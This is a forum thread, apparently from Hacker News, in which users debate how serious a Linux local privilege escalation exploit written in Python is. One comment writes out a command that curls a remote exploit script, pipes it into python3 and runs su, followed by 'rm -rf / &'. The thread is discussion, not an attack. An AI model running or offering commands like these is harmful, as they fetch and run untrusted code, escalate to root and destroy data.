You're freaking out about the exploit being written in Python and occupying only a small number of bytes. Are you the LLM that wrote Xint's terrible landing page? If so, I have questions.

Oh come on, you know what I'm saying. It's small when written in python, which means any skid can spew it into a server he's got a shell on and get root in 2 seconds. He doesn't need to hope there's already a compiler installed, nor does he need to download some big tool. Just:

  cat | python3 && su
  <puke>, Ctrl-D

And I'm sure it can be refined into something much more likable to the spooky types, if they haven't already done it.

Again, Linux LPE via either vulns or misconfigured permissions / binaries is common.

People who run servers that give out shell access to uses or randos already needed to contend with this.

Added later: you may find https://gtfobins.org/ fascinating or horrifying.

This is such a 1996 argument. It really was a big deal back then whether you had compilers on your multiuser SunOS boxes, because attackers would then use them to compile exploit.c.

The whole thread, really bringing me back to comp.security.unix. I'm not complaining! I miss comp.security.unix.

I feel honored to receive some of the much vaunted tptacek disingenuity. It is like a fine wine, only to be appreciated by an experienced palate. I won't deny being a fan, nor smiling at the attention.

Yes, Thomas, I too remember the digital landscape of Unix workstations in 1996. Isn't it interesting that, as the old folks say, "everything old is new again"?

For example, have you noticed that most of the 2.3 metric assloads of virtual machines created and used every day do not bother installing compilers either? Are those sysadmins also pining for a bygone era? Or do they just not need them to run their microservice's static binaries?

I think you’re reading a ton into this vulnerability that is not there.

I wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable.

  $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su
  # rm -rf / &

25 seconds if I type it out by hand instead of copypasta. Sigh.

How many people do you let have local code execution on your systems? This is a local privilege escalation. They are relatively common. They are a big deal if you run a system that lets multiple untrusted users commingle code on a shared operating system.

Otherwise it’s not.

Unless your systems have no network devices this vuln provides a tasty reward for being able to get any kind of RCE into your box. Most of the systems I care about are not air gapped. I don't imagine many others are either.

It's an LPE that goes back years. It affects at least 3 generations of Debian servers. >5 years of some rolling distros. And instead of the kernel team telling the distro security guys ahead of time so they could do their jobs and keep us users from getting screwed they got no warning and woke up to baddies in a feeding frenzy.

Also, LPEs are how minor holes turn into rootkitted servers. But I expect most people here already know that.

In a story that includes an RCE, you basically just assume LPE. The LPE isn’t a reward, it’s just table stakes. It’s the RCE that would be noteworthy.

Your assessment of the impact of this vulnerability is just wrong, and your level of panic about a “feeding frenzy” affecting anybody outside of hosted services where multiple users share a kernel is also wrong.